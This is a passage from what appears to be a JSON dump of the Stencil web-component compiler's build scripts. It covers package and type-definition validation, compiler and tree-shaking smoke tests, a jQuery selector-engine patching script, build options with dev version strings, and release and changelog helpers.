skip sourcemaps, stub files\n          return;\n        }\n        const pkgFile = join(pkgDir, f);\n        fs.accessSync(pkgFile);\n      });\n      testPkg.packageJsonFiles.forEach((testPkgFile) => {\n        if (!pkgJson.files?.includes(testPkgFile)) {\n          throw new Error(testPkg.packageJson + ' missing file ' + testPkgFile);\n        }\n\n        const filePath = join(pkgDir, testPkgFile);\n        fs.accessSync(filePath);\n      });\n    }\n\n    if (testPkg.hasBin && !pkgJson.bin) {\n      throw new Error(testPkg.packageJson + ' missing bin');\n    }\n\n    if (pkgJson.bin) {\n      Object.keys(pkgJson.bin).forEach((k) => {\n        if (pkgJson.bin?.[k]) {\n          const binExe = join(pkgDir, pkgJson.bin[k]);\n          fs.accessSync(binExe);\n        }\n      });\n    }\n\n    const mainIndex = join(pkgDir, pkgJson.main);\n    fs.accessSync(mainIndex);\n\n    if (pkgJson.module) {\n      const moduleIndex = join(pkgDir, pkgJson.module);\n      fs.accessSync(moduleIndex);\n    }\n\n    if (pkgJson.browser) {\n      const browserIndex = join(pkgDir, pkgJson.browser);\n      fs.accessSync(browserIndex);\n    }\n\n    if (pkgJson.types) {\n      const pkgTypes = join(pkgDir, pkgJson.types);\n      fs.accessSync(pkgTypes);\n      dtsEntries.push(pkgTypes);\n    }\n  }\n\n  if (testPkg.files) {\n    testPkg.files.forEach((file) => {\n      const filePath = join(rootDir, file);\n      fs.statSync(filePath);\n    });\n  }\n}\n\n/**\n * Validate the .d.ts files used in the output are semantically and syntactically correct\n * @param opts build options to be used to validate .d.ts files\n * @param dtsEntries the .d.ts files to validate\n */\nfunction validateDts(opts: BuildOptions, dtsEntries: string[]): void {\n  const program = ts.createProgram(dtsEntries, {\n    baseUrl: '.',\n    paths: {\n      '@stencil/core/mock-doc': [join(opts.rootDir, 'mock-doc', 'index.d.ts')],\n      '@stencil/core/internal': [join(opts.rootDir, 'internal', 'index.d.ts')],\n      '@stencil/core/internal/testing': [join(opts.rootDir, 'internal', 'testing', 'index.d.ts')],\n    },\n    moduleResolution: ModuleResolutionKind.NodeJs,\n    target: ScriptTarget.ES2016,\n  });\n\n  const tsDiagnostics = program.getSemanticDiagnostics().concat(program.getSyntacticDiagnostics());\n\n  if (tsDiagnostics.length > 0) {\n    const host = {\n      getCurrentDirectory: () => ts.sys.getCurrentDirectory(),\n      getNewLine: () => ts.sys.newLine,\n      getCanonicalFileName: (f: string) => f,\n    };\n    throw new Error('🧨  ' + ts.formatDiagnostics(tsDiagnostics, host));\n  }\n  console.log(`🐟  Validated dts files`);\n}\n\n/**\n * Validates the Stencil compiler. This includes verifying that the compiler, CLI and sys API can be instantiated,\n * smoke testing the compiler's transpilation, and running a small task in the CLI.\n * @param opts build options to be used to validate the compiler\n */\nasync function validateCompiler(opts: BuildOptions): Promise<void> {\n  const compilerPath = url.pathToFileURL(join(opts.output.compilerDir, 'stencil.js')).pathname;\n  const cliPath = url.pathToFileURL(join(opts.output.cliDir, 'index.cjs')).pathname;\n  const sysNodePath = url.pathToFileURL(join(opts.output.sysNodeDir, 'index.js')).pathname;\n\n  const compiler = await import(compilerPath);\n  const cli = await import(cliPath);\n  const sysNodeApi = await import(sysNodePath);\n\n  const nodeLogger = sysNodeApi.createNodeLogger();\n  const nodeSys = sysNodeApi.createNodeSys({ process });\n\n  if (!nodeSys || nodeSys.name !== 'node' || nodeSys.version.length < 4) {\n    throw new Error(`🧨  unable to validate sys node`);\n  }\n  console.log(`🐳  Validated sys node, current ${nodeSys.name} version: ${nodeSys.version}`);\n\n  const validated = await compiler.loadConfig({\n    config: {\n      logger: nodeLogger,\n      sys: nodeSys,\n    },\n  });\n  console.log(`${compiler.vermoji}  Validated compiler: ${compiler.version}`);\n\n  const transpileResults = compiler.transpileSync('const m: string = `transpile!`;', {\n    target: 'es5',\n  });\n  if (\n    !transpileResults ||\n    transpileResults.diagnostics.length > 0 ||\n    !transpileResults.code.startsWith(`var m = \"transpile!\";`)\n  ) {\n    console.error(transpileResults);\n    throw new Error(`🧨  transpileSync error`);\n  }\n  console.log(`🐋  Validated compiler.transpileSync()`);\n\n  const orgConsoleLog = console.log;\n  let loggedVersion = '';\n  console.log = (value: string) => (loggedVersion = value);\n\n  // this runTask is intentionally not wrapped in telemetry helpers\n  await cli.runTask(compiler, validated.config, 'version');\n\n  console.log = orgConsoleLog;\n\n  if (typeof loggedVersion !== 'string' || loggedVersion.length < 4) {\n    throw new Error(`🧨  unable to validate compiler. loggedVersion: \"${loggedVersion}\"`);\n  }\n\n  console.log(`🐬  Validated cli`);\n}\n\n/**\n * Validate tree shaking for various modules in the output\n * @param opts build options to be used to validate tree-shaking\n */\nasync function validateTreeshaking(opts: BuildOptions) {\n  await validateModuleTreeshake(opts, 'app-data', join(opts.output.internalDir, 'app-data', 'index.js'));\n  await validateModuleTreeshake(opts, 'client', join(opts.output.internalDir, 'client', 'index.js'));\n  await validateModuleTreeshake(opts, 'patch-browser', join(opts.output.internalDir, 'client', 'patch-browser.js'));\n  await validateModuleTreeshake(opts, 'shadow-css', join(opts.output.internalDir, 'client', 'shadow-css.js'));\n  await validateModuleTreeshake(opts, 'hydrate', join(opts.output.internalDir, 'hydrate', 'index.js'));\n  await validateModuleTreeshake(opts, 'stencil-core', join(opts.output.internalDir, 'stencil-core', 'index.js'));\n  await validateModuleTreeshake(opts, 'cli', join(opts.output.cliDir, 'index.js'));\n}\n\n/**\n * Validates tree-shaking for a single module & entrypoint\n * @param opts build options to be used to validate tree-shaking for a specific module\n * @param moduleName the module to validate\n * @param entryModulePath the entrypoint to validate\n */\nasync function validateModuleTreeshake(opts: BuildOptions, moduleName: string, entryModulePath: string): Promise<void> {\n  // this is a song, 'agadoo' by Black Lace\n  const virtualInputId = `@g@doo`;\n  const entryId = `@entry-module`;\n  const outputFile = join(opts.scriptsBuildDir, `treeshake_${moduleName}.js`);\n\n  const bundle = await rollup({\n    external: NODE_BUILTINS,\n    input: virtualInputId,\n    treeshake: {\n      moduleSideEffects: false,\n    },\n    plugins: [\n      {\n        name: 'stencilResolver',\n        resolveId(id) {\n          if (id === '@stencil/core/internal/client' || id === '@stencil/core') {\n            return join(opts.output.internalDir, 'client', 'index.js');\n          }\n          if (id === '@stencil/core/internal/app-data') {\n            return join(opts.output.internalDir, 'app-data', 'index.js');\n          }\n          if (id === '@stencil/core/internal/app-globals') {\n            return id;\n          }\n          if (id === virtualInputId) {\n            return id;\n          }\n          if (id === entryId) {\n            return entryModulePath;\n          }\n        },\n        load(id) {\n          if (id === '@stencil/core/internal/app-globals') {\n            return 'export const globalScripts = () => {};\\nexport const globalStyles = \"\";';\n          }\n          if (id === virtualInputId) {\n            return `import \"${entryId}\";`;\n          }\n        },\n      },\n    ],\n    onwarn(warning) {\n      if (warning.code !== 'EMPTY_BUNDLE') {\n        throw warning;\n      }\n    },\n  });\n\n  const o = await bundle.generate({\n    format: 'es',\n  });\n\n  const output = o.output[0];\n  const outputCode = output.code.trim();\n\n  await fs.writeFile(outputFile, outputCode);\n\n  if (outputCode !== '') {\n    console.error(`\\nTreeshake output: ${outputFile}\\n`);\n\n    throw new Error(`🧨  Not all code was not treeshaken (treeshooken? treeshaked?)`);\n  }\n\n  console.log(`🌳  validated treeshake: ${relative(opts.rootDir, entryModulePath)}`);\n}\n\n/**\n * Represents a package/submodule of the bundled Stencil output to validate\n */\ninterface TestPackage {\n  packageJson?: string;\n  packageJsonFiles?: string[];\n  files?: string[];\n  hasBin?: boolean;\n}\n"
  },
  {
    "path": "scripts/test/validate-testing.js",
    "content": "const testing = require('../../testing/index.js');\n\nconst input = `\nimport { Component, Prop } from '@stencil/core';\n@Component({\n  tag: 'my-cmp'\n})\nexport class MyCmp {\n  @Prop() prop: boolean;\n}\n`;\n\nconst output = testing.transpile(input);\n\nif (output.diagnostics.length > 0) {\n  const msg = output.diagnostics.map((d) => d.messageText).join('\\n');\n  throw new Error('Testing transpile error: \\n' + msg);\n}\n\nconsole.log(`🐠  Validated testing suite`);\n"
  },
  {
    "path": "scripts/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"strict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"esModuleInterop\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"lib\": [\n      \"dom\",\n      \"es2021\"\n    ],\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"nodenext\",\n    \"skipLibCheck\": true,\n    \"outDir\": \"build/\",\n    \"pretty\": true,\n    \"target\": \"ES2020\",\n    \"incremental\": false,\n    \"useUnknownInCatchVariables\": true\n  },\n  \"include\": [\n    \"**/*.ts\",\n    \"types/*.d.ts\"\n  ],\n  \"exclude\": [\n    \"**/*.spec.ts\"\n  ]\n}\n"
  },
  {
    "path": "scripts/types/rollup-plugin-node-resolve.d.ts",
    "content": "declare module '@rollup/plugin-node-resolve';\n"
  },
  {
    "path": "scripts/updateSelectorEngine.ts",
    "content": "import cp from 'node:child_process';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\n\n/**\n * This script updates the JQuery selector engine for the mock-doc package\n * to the latest version.\n *\n * To run it, use the following command:\n * ```sh\n * npm run tsc.scripts\n * npm run build.updateSelectorEngine\n * ```\n */\n\nconst rootDir = path.resolve(__dirname, '..');\nconst jqueryDepDir = path.resolve(rootDir, 'node_modules', 'jquery');\nconst WINDOW_MOCK = `{\n  document: {\n    createElement() {\n      return {};\n    },\n    nodeType: 9,\n    documentElement: {\n      nodeType: 1,\n      nodeName: 'HTML'\n    }\n  }\n}`;\n\nasync function run() {\n  console.log('updating JQuery Selector engine...');\n\n  await runCommand(`npm install --ignore-scripts`, jqueryDepDir);\n  await runCommand(`npm run build -- --include=selector`, jqueryDepDir);\n\n  const jqueryPkgJSON = JSON.parse(await fs.readFile(path.resolve(jqueryDepDir, 'package.json'), 'utf8'));\n  const thirdPartyDir = path.resolve(__dirname, '../../src/mock-doc/third-party');\n  await fs.mkdir(thirdPartyDir, { recursive: true });\n\n  const originalContent = await fs.readFile(path.resolve(jqueryDepDir, 'dist', 'jquery.js'), 'utf8');\n\n  /**\n   * This is a hack to make the jQuery selector engine work with the mock-doc package.\n   * Using the original jQuery bundle would cause a \"RegExpCompiler Allocation failed - process out of memory\"\n   * error due to the way the jQuery object is constructed. The following tweaks to the jQuery bundle\n   * resolve the issue:\n   */\n  const fixedJQuery = originalContent\n    /**\n     * Never run the short-circuiting code due to usage of too many RegExp objects\n     */\n    .replace('if ( !seed ) {', 'if ( false ) {')\n    /**\n     * Make jQuery an object to have it garbage collected\n     */\n    .replace('var version = \"', `const jQuery = {} as { find: Function };\\nvar version = \"`)\n    /**\n     * Inject window mock directly into iife\n     */\n    .replace(`typeof window !== \"undefined\" ? window : this`, WINDOW_MOCK)\n    /**\n     * Rename the original jQuery function to jQueryOrig\n     */\n    .replace('jQuery = function( selector, context ) {', 'jQueryOrig = function( selector, context ) {')\n    /**\n     * Replace use of `jQuery.attr` with `elem.getAttribute` to avoid having to include\n     * the attributes plugin to the bundle\n     */\n    .replace('jQuery.attr( elem, name )', 'elem.getAttribute( name )')\n    /**\n     * make it return jQuery directly rather than relying on a module system\n     */\n    .replace('module.exports = factory( global, true );', 'return factory( global, true );')\n    .replace('if ( typeof module === \"object\" && typeof module.exports === \"object\" ) {', 'if (true) {');\n\n  const newContent = `/* eslint-disable */\n// @ts-nocheck\n\n/**\n * ATTENTION: DO NOT MODIFY THIS FILE\n *\n * This file is generated by \"scripts/updateSelectorEngine.ts\" and can be overwritten\n * at any time. Don't make changes in here as they will get lost!\n */\nexport default ${fixedJQuery};\n`;\n  fs.writeFile(path.resolve(thirdPartyDir, 'jquery.ts'), newContent, 'utf8');\n\n  console.log(`\\nJQuery Selector engine updated to version ${jqueryPkgJSON.version}`);\n  console.log(`at ${thirdPartyDir} 🎉`);\n}\n\nfunction runCommand(cmd: string, cwd: string) {\n  return new Promise((resolve, reject) => {\n    console.log(`> ${cmd}`);\n    const child = cp.spawn(cmd, { cwd, shell: true });\n    child.on('error', reject);\n    child.on('exit', (code) => (code === 0 ? resolve(child) : reject()));\n  });\n}\n\nif (require.main === module) {\n  run();\n}\n"
  },
  {
    "path": "scripts/utils/banner.ts",
    "content": "import { BuildOptions } from './options';\n\nexport function getBanner(opts: BuildOptions, fileName: string, license = false) {\n  return [\n    `/*${license ? '!' : ''}`,\n    ` ${fileName} v${opts.version} | MIT Licensed | https://stenciljs.com`,\n    ` */`,\n  ].join('\\n');\n}\n"
  },
  {
    "path": "scripts/utils/bundle-dts.ts",
    "content": "import { EntryPointConfig, generateDtsBundle, OutputOptions } from 'dts-bundle-generator';\nimport fs from 'fs-extra';\n\nimport { BuildOptions } from './options';\n\n/**\n * A thin wrapper for `dts-bundle-generator` which uses our build options to\n * set a few things up\n *\n * **Note**: this file caches its output to disk, and will return any\n * previously cached file if not in a prod environment!\n *\n * @param opts an object holding information about the current build of Stencil\n * @param inputFile the path to the file which should be bundled\n * @param outputOptions options for bundling the file\n * @param useCache whether or not the bundled file should be cached to disk\n * @returns a string containing the bundled typedef\n */\nexport async function bundleDts(\n  opts: BuildOptions,\n  inputFile: string,\n  outputOptions?: OutputOptions,\n  useCache = true,\n): Promise<string> {\n  const cachedDtsOutput = inputFile + '-bundled.d.ts';\n\n  if (!opts.isProd && useCache) {\n    try {\n      return await fs.readFile(cachedDtsOutput, 'utf8');\n    } catch (e) {}\n  }\n\n  const config: EntryPointConfig = {\n    filePath: inputFile,\n  };\n\n  if (outputOptions) {\n    config.output = outputOptions;\n  }\n\n  const outputCode = cleanDts(generateDtsBundle([config]).join('\\n'));\n\n  if (useCache) {\n    await fs.writeFile(cachedDtsOutput, outputCode);\n  }\n\n  return outputCode;\n}\n\nexport function cleanDts(dtsContent: string) {\n  dtsContent = dtsContent.replace(/\\/\\/\\/ <reference types=\"node\" \\/>/g, '');\n\n  dtsContent = dtsContent.replace(/NodeJS.Process/g, 'any');\n\n  dtsContent = dtsContent.replace(/import \\{ URL \\} from \\'url\\';/g, '');\n\n  return dtsContent.trim() + '\\n';\n}\n"
  },
  {
    "path": "scripts/utils/constants.ts",
    "content": "/**\n * Node built-ins that we mark as external when building Stencil\n */\nexport const NODE_BUILTINS = [\n  '_http_agent',\n  '_http_client',\n  '_http_common',\n  '_http_incoming',\n  '_http_outgoing',\n  '_http_server',\n  '_stream_duplex',\n  '_stream_passthrough',\n  '_stream_readable',\n  '_stream_transform',\n  '_stream_wrap',\n  '_stream_writable',\n  '_tls_common',\n  '_tls_wrap',\n  'assert',\n  'async_hooks',\n  'buffer',\n  'child_process',\n  'cluster',\n  'console',\n  'constants',\n  'crypto',\n  'dgram',\n  'dns',\n  'domain',\n  'events',\n  'fs',\n  'fs/promises',\n  'http',\n  'http2',\n  'https',\n  'inspector',\n  'module',\n  'net',\n  'os',\n  'path',\n  'perf_hooks',\n  'process',\n  'punycode',\n  'querystring',\n  'readline',\n  'repl',\n  'stream',\n  'string_decoder',\n  'sys',\n  'timers',\n  'tls',\n  'trace_events',\n  'tty',\n  'url',\n  'util',\n  'v8',\n  'vm',\n  'worker_threads',\n  'zlib',\n];\n"
  },
  {
    "path": "scripts/utils/conventional-changelog-config.js",
    "content": "/**\n * Options for [conventional-changelog](https://github.com/conventional-changelog/conventional-changelog), which is\n * used to generate the Stencil changelog at release time.\n */\nmodule.exports = {\n  parserOpts: {\n    /**\n     * Override the conventional-changelog parser default configuration and any provided preset (e.g. 'Angular') for\n     * detecting issues. Stencil uses the \"Angular preset\", which defaults the \"issuesPrefixes\" field to a single pound\n     * sign ('#'). This sometimes gets mistaken by the changelog generator as an issue that is fixed, when it fact it's\n     * cross-reference to another issue.\n     *\n     * Note: Only the git commit message is being parsed, not the GitHub Issue summary. For any of the values below to\n     * be picked up by conventional-changelog, they must be added to the git commit message.\n     *\n     * Reference for this property: [GitHub README]{@link https://github.com/conventional-changelog/conventional-changelog/tree/master/packages/conventional-commits-parser#issueprefixes}\n     * By default, [these are case-insensitive]{@link https://github.com/conventional-changelog/conventional-changelog/tree/master/packages/conventional-commits-parser#issueprefixescasesensitive)}\n     */\n    issuePrefixes: [\n      'fixes: #',\n      'fixes:#',\n      'fixes- #',\n      'fixes-#',\n      'fixes #',\n      'fixes#',\n      'closes: #',\n      'closes:#',\n      'closes- #',\n      'closes-#',\n      'closes #',\n      'closes#',\n    ],\n  },\n};\n"
  },
  {
    "path": "scripts/utils/options.ts",
    "content": "import { execSync } from 'child_process';\nimport { readFileSync } from 'fs-extra';\nimport { join } from 'path';\n\nimport { getVermoji } from './vermoji';\nimport { PackageData } from './write-pkg-json';\n\n/**\n * Retrieves information used during a 'process' that requires knowledge of various project file paths, Stencil version\n * information, and GitHub repo metadata. A 'process' may include, but is not limited to:\n * - generating a new release\n * - regenerating a license file\n * - validating a build\n * @param rootDir the root directory of the project\n * @param inputOpts any build options to override manually\n * @returns an entity containing various fields to be used by some process\n */\nexport function getOptions(rootDir: string, inputOpts: Partial<BuildOptions> = {}): BuildOptions {\n  const srcDir = join(rootDir, 'src');\n  const packageJsonPath = join(rootDir, 'package.json');\n  const packageLockJsonPath = join(rootDir, 'package-lock.json');\n  const changelogPath = join(rootDir, 'CHANGELOG.md');\n  const nodeModulesDir = join(rootDir, 'node_modules');\n  const typescriptDir = join(nodeModulesDir, 'typescript');\n  const typescriptLibDir = join(typescriptDir, 'lib');\n  const buildDir = join(rootDir, 'build');\n  const scriptsDir = join(rootDir, 'scripts');\n  const scriptsBuildDir = join(scriptsDir, 'build');\n  const scriptsBundlesDir = join(scriptsDir, 'esbuild');\n  const bundleHelpersDir = join(scriptsBundlesDir, 'helpers');\n  const packageJson: PackageData = JSON.parse(readFileSync(packageJsonPath, 'utf8'));\n  const buildId = inputOpts.buildId ?? getBuildId();\n  const version = inputOpts.version ?? getDevVersionId({ buildId, semverVersion: packageJson?.version });\n\n  const vermoji =\n    inputOpts.isProd && !inputOpts.vermoji\n      ? getVermoji(inputOpts.changelogPath ?? changelogPath)\n      : inputOpts.vermoji ?? '💎';\n\n  const typescriptPkg = require(join(typescriptDir, 'package.json'));\n  const typescriptVersion = typescriptPkg.version;\n\n  const terserPkg = getPkg(nodeModulesDir, 'terser');\n  const terserVersion = terserPkg.version;\n\n  const rollupPkg = getPkg(nodeModulesDir, 'rollup');\n  const rollupVersion = rollupPkg.version;\n\n  const parse5Pkg = getPkg(nodeModulesDir, 'parse5');\n  const parse5Version = parse5Pkg.version;\n\n  const jqueryPkg = getPkg(nodeModulesDir, 'jquery');\n  const jqueryVersion = jqueryPkg.version;\n\n  const opts: BuildOptions = {\n    ghRepoOrg: 'ionic-team',\n    ghRepoName: 'stencil',\n    rootDir,\n    srcDir,\n    packageJsonPath,\n    packageLockJsonPath,\n    changelogPath,\n    nodeModulesDir,\n    typescriptDir,\n    typescriptLibDir,\n    packageJson,\n    buildDir,\n    scriptsDir,\n    scriptsBuildDir,\n    scriptsBundlesDir,\n    bundleHelpersDir,\n    output: {\n      cliDir: join(rootDir, 'cli'),\n      compilerDir: join(rootDir, 'compiler'),\n      devServerDir: join(rootDir, 'dev-server'),\n      internalDir: join(rootDir, 'internal'),\n      mockDocDir: join(rootDir, 'mock-doc'),\n      screenshotDir: join(rootDir, 'screenshot'),\n      sysNodeDir: join(rootDir, 'sys', 'node'),\n      testingDir: join(rootDir, 'testing'),\n    },\n    version,\n    buildId,\n    isProd: false,\n    isCI: false,\n    isWatch: false,\n    isPublishRelease: false,\n    vermoji,\n    tag: 'dev',\n    jqueryVersion,\n    parse5Version,\n    rollupVersion,\n    terserVersion,\n    typescriptVersion,\n  };\n\n  Object.assign(opts, inputOpts);\n\n  if (opts.isPublishRelease) {\n    if (!opts.isProd) {\n      throw new Error('release must also be a prod build');\n    }\n  }\n\n  return opts;\n}\n\n/**\n * Generates an object containing versioning information of various packages\n * installed at build time\n *\n * **NOTE** this will mutate the `opts` parameter, adding information about\n * the versions used for various dependencies\n *\n * @param opts the options being used during a build\n * @returns an object that contains package names/versions installed at the time a build was invoked\n */\nexport function createReplaceData(opts: BuildOptions): Record<string, any> {\n  const CACHE_BUSTER = 7;\n\n  const typescriptPkg = require(join(opts.typescriptDir, 'package.json'));\n  const transpileId = typescriptPkg.name + typescriptPkg.version + '_' + CACHE_BUSTER;\n\n  const terserPkg = getPkg(opts.nodeModulesDir, 'terser');\n  const minifyJsId = terserPkg.name + terserPkg.version + '_' + CACHE_BUSTER;\n\n  const rollupPkg = getPkg(opts.nodeModulesDir, 'rollup');\n  const bundlerId = rollupPkg.name + rollupPkg.version + '_' + CACHE_BUSTER;\n\n  const autoprefixerPkg = getPkg(opts.nodeModulesDir, 'autoprefixer');\n  const postcssPkg = getPkg(opts.nodeModulesDir, 'postcss');\n\n  const optimizeCssId =\n    autoprefixerPkg.name + autoprefixerPkg.version + '_' + postcssPkg.name + postcssPkg.version + '_' + CACHE_BUSTER;\n\n  return {\n    __BUILDID__: opts.buildId,\n    '__BUILDID:BUNDLER__': bundlerId,\n    '__BUILDID:MINIFYJS__': minifyJsId,\n    '__BUILDID:OPTIMIZECSS__': optimizeCssId,\n    '__BUILDID:TRANSPILE__': transpileId,\n\n    '__VERSION:STENCIL__': opts.version,\n    '__VERSION:PARSE5__': opts.parse5Version,\n    '__VERSION:ROLLUP__': opts.rollupVersion,\n    '__VERSION:JQUERY__': opts.jqueryVersion,\n    '__VERSION:TERSER__': opts.terserVersion,\n    '__VERSION:TYPESCRIPT__': opts.typescriptVersion,\n\n    __VERMOJI__: opts.vermoji,\n  };\n}\n\ntype VersionedPackageData = PackageData & { version: string };\n\n/**\n * Retrieves a package from the `node_modules` directory in the given `opts` parameter\n * @param nodeModulesDir the node modules directory to search\n * @param pkgName the name of the NPM package to retrieve\n * @returns information about the retrieved package\n */\nfunction getPkg(nodeModulesDir: string, pkgName: string): VersionedPackageData {\n  const packageJson = require(join(nodeModulesDir, pkgName, 'package.json'));\n  if (!packageJson.version) {\n    throw Error(`Didn't find a version in the packageJson for ${pkgName}!`);\n  }\n  return packageJson;\n}\n\nexport interface BuildOptions {\n  buildDir: string;\n  bundleHelpersDir: string;\n  ghRepoName: string;\n  ghRepoOrg: string;\n  nodeModulesDir: string;\n  rootDir: string;\n  scriptsBuildDir: string;\n  scriptsBundlesDir: string;\n  scriptsDir: string;\n  srcDir: string;\n  typescriptDir: string;\n  typescriptLibDir: string;\n\n  output: {\n    cliDir: string;\n    compilerDir: string;\n    devServerDir: string;\n    internalDir: string;\n    mockDocDir: string;\n    screenshotDir: string;\n    sysNodeDir: string;\n    testingDir: string;\n  };\n\n  buildId: string;\n  changelogPath: string;\n  isCI: boolean;\n  isProd: boolean;\n  isPublishRelease: boolean;\n  isWatch: boolean;\n  jqueryVersion: string;\n  packageJson: PackageData;\n  packageJsonPath: string;\n  packageLockJsonPath: string;\n  parse5Version: string;\n  rollupVersion: string;\n  tag: string;\n  terserVersion: string;\n  typescriptVersion: string;\n  vermoji: string;\n  version: string;\n}\n\n/**\n * Generate a build identifier, which is the Epoch Time in seconds\n * @returns the generated build ID\n */\nfunction getBuildId(): string {\n  return Date.now().toString(10).slice(0, -3);\n}\n\n/**\n * Describes the contents of a version string for Stencil used in 'non-production' builds (e.g. a one-off dev build)\n */\ninterface DevVersionContents {\n  /**\n   * The build identifier string, used to uniquely identify when the build was generated\n   */\n  buildId: string;\n  /**\n   * A semver-compliant string to add to the one-off build version sting, used to identify a base version of Stencil\n   * that was used in the build.\n   */\n  semverVersion: string | undefined;\n}\n\n/**\n * Helper function to return the first seven characters of a git SHA\n *\n * We use the first seven characters for two reasons:\n * 1. Seven characters _should_ be enough to uniquely ID a commit in Stencil\n * 2. It matches the number of characters used in our CHANGELOG.md\n *\n * @returns the seven character SHA\n */\nfunction getSevenCharGitSha(): string {\n  return execSync('git rev-parse HEAD').toString().trim().slice(0, 7);\n}\n\n/**\n * Helper function to generate a dev build version string of the format:\n *\n * [BASE_VERSION]-dev.[BUILD_IDENTIFIER].[GIT_SHA]\n *\n * where:\n * - BASE_VERSION is the version of Stencil currently assigned in `package.json`\n * - BUILD_IDENTIFIER is a unique identifier for this particular build\n * - GIT_SHA is the SHA of the HEAD of the branch this build was created from\n *\n * @param devVersionContents an object containing the necessary arguments to build a dev-version identifier\n * @returns the generated version string\n */\nfunction getDevVersionId(devVersionContents: DevVersionContents): string {\n  const { buildId, semverVersion } = devVersionContents;\n  // if `package.json#package` is empty, default to a value that doesn't imply any particular version of Stencil\n  const version = semverVersion ?? '0.0.0';\n  // '-' and '-dev.' are a magic substrings that may get checked on startup of a Stencil process.\n  return version + '-dev.' + buildId + '.' + getSevenCharGitSha();\n}\n"
  },
  {
    "path": "scripts/utils/postcss-bundle",
    "content": "#!/bin/bash\n\ncd ../build\n#rm -rf ./postcss\n#git clone https://github.com/postcss/postcss.git --depth 1\ncd ../..\necho $PWD\n./node_modules/.bin/rollup -c ./scripts/utils/postcss-rollup.js"
  },
  {
    "path": "scripts/utils/postcss-rollup.js",
    "content": "import fs from 'fs-extra';\nimport path from 'path';\n\nconst input = require.resolve('postcss');\nconst output = path.join(__dirname, '..', 'bundles', 'helpers', 'postcss.js');\nconst postcssPkg = fs.readJSONSync(path.join(input, '..', '..', 'package.json'));\n\nexport default {\n  input,\n  output: {\n    format: 'esm',\n    file: output,\n    banner: `// postcss esm build from ${postcssPkg.version}`,\n  },\n  plugins: [\n    {\n      resolveId(importee, importer) {\n        if (importee.startsWith('.')) {\n          if (importer && importer.endsWith('.es6')) {\n            const dir = path.dirname(importer);\n            return path.join(dir, importee + '.es6');\n          }\n        }\n      },\n    },\n  ],\n};\n"
  },
  {
    "path": "scripts/utils/release-utils.ts",
    "content": "import color from 'ansi-colors';\nimport fs from 'fs-extra';\nimport { join } from 'path';\nimport semver from 'semver';\n\nimport { BuildOptions } from './options';\n\nexport const SEMVER_INCREMENTS: ReadonlyArray<string> = [\n  'patch',\n  'minor',\n  'major',\n  'prepatch',\n  'preminor',\n  'premajor',\n  'prerelease',\n];\n\nexport const PRERELEASE_VERSIONS: ReadonlyArray<string> = ['prepatch', 'preminor', 'premajor', 'prerelease'];\n\n/**\n * Helper function to help determine if a version is valid semver\n * @param input the version string to validate\n * @returns true if the `input` is valid semver, false otherwise\n */\nexport const isValidVersion = (input: string) => Boolean(semver.valid(input));\n\n/**\n * Determines whether or not a version string is valid. A version string is considered to be 'valid' if it meets one of\n * two criteria:\n * - it is a valid semver name (e.g. 'patch', 'major', etc.)\n * - it is a valid semver string (e.g. '1.0.2')\n * @param input the version string to validate\n * @returns true if the string is valid, false otherwise\n */\nexport const isValidVersionInput = (input: string): boolean =>\n  SEMVER_INCREMENTS.indexOf(input) !== -1 || isValidVersion(input);\n\n/**\n * Determines if the provided `version` is a semver pre-release or not\n * @param version the version string to evaluate\n * @returns true if the `version` is a pre-release, false otherwise\n */\nexport const isPrereleaseVersion = (version: string): boolean =>\n  PRERELEASE_VERSIONS.indexOf(version) !== -1 || Boolean(semver.prerelease(version));\n\n/**\n * Determine the 'next' version string for a release. The next version can take one of two formats:\n * 1. An alphabetic string that is a valid semver name (e.g. 'patch', 'major', etc.)\n * 2. A valid semver string (e.g. '1.0.2')\n * The value returned by this function is predicated on the format of `oldVersion`. If `oldVersion` is an alphabetic\n * semver name, a semver name will be returned (e.g. 'major'). If a valid semver string is provided (e.g. 1.0.2), the\n * incremented semver string will be returned (e.g. 2.0.0)\n * @param oldVersion the old/current version of the library\n * @param input the desired increment unit\n * @returns new version's string\n */\nexport function getNewVersion(oldVersion: string, input: any): string {\n  const isValidSemverName = SEMVER_INCREMENTS.indexOf(input) === -1;\n  const incrementedSemverString = semver.inc(oldVersion, input);\n\n  if (isValidSemverName) return input;\n  if (incrementedSemverString !== null) return incrementedSemverString;\n  throw new Error(`Version should be either ${SEMVER_INCREMENTS.join(', ')} or a valid semver version.`);\n}\n\n/**\n * Pretty printer for a new version of the library. Generates a new version string based on `inc`\n * @param oldVersion the old/current version of Stencil\n * @param inc the unit of increment for the new version\n * @returns a pretty printed string containing the new version number\n */\nexport function prettyVersionDiff(oldVersion: string, inc: any): string {\n  const newVersion = getNewVersion(oldVersion, inc).split('.');\n  const splitOldVersion = oldVersion.split('.');\n  let firstVersionChange = false;\n  const output = [];\n\n  for (let i = 0; i < newVersion.length; i++) {\n    if (newVersion[i] !== splitOldVersion[i] && !firstVersionChange) {\n      output.push(`${color.dim.cyan(newVersion[i])}`);\n      firstVersionChange = true;\n    } else if (newVersion[i].indexOf('-') >= 1) {\n      let preVersion = [];\n      preVersion = newVersion[i].split('-');\n      output.push(`${color.dim.cyan(`${preVersion[0]}-${preVersion[1]}`)}`);\n    } else {\n      output.push(color.reset.dim(newVersion[i]));\n    }\n  }\n  return output.join(color.reset.dim('.'));\n}\n\n/**\n * Write changes to the local CHANGELOG.md on disk.\n *\n * Stencil uses the Angular-variant of conventional commits; commits must be formatted accordingly in order to be added\n * to the changelog properly.\n * @param opts build options to be used to update the changelog\n */\nexport async function updateChangeLog(opts: BuildOptions): Promise<void> {\n  const ccPath = join(opts.nodeModulesDir, '.bin', 'conventional-changelog');\n  const ccConfigPath = join(__dirname, 'conventional-changelog-config.js');\n  const { execa } = await import('execa');\n  // API Docs for conventional-changelog: https://github.com/conventional-changelog/conventional-changelog/tree/master/packages/conventional-changelog-core#api\n  await execa(\n    'node',\n    [\n      ccPath,\n      '--preset',\n      'angular',\n      '--infile',\n      opts.changelogPath,\n      '--outfile',\n      '--same-file',\n      '--config',\n      ccConfigPath,\n    ],\n    {\n      cwd: opts.rootDir,\n    },\n  );\n\n  let changelog = await fs.readFile(opts.changelogPath, 'utf8');\n  changelog = changelog.replace(/\\# \\[/, '# ' + opts.vermoji + ' [');\n  await 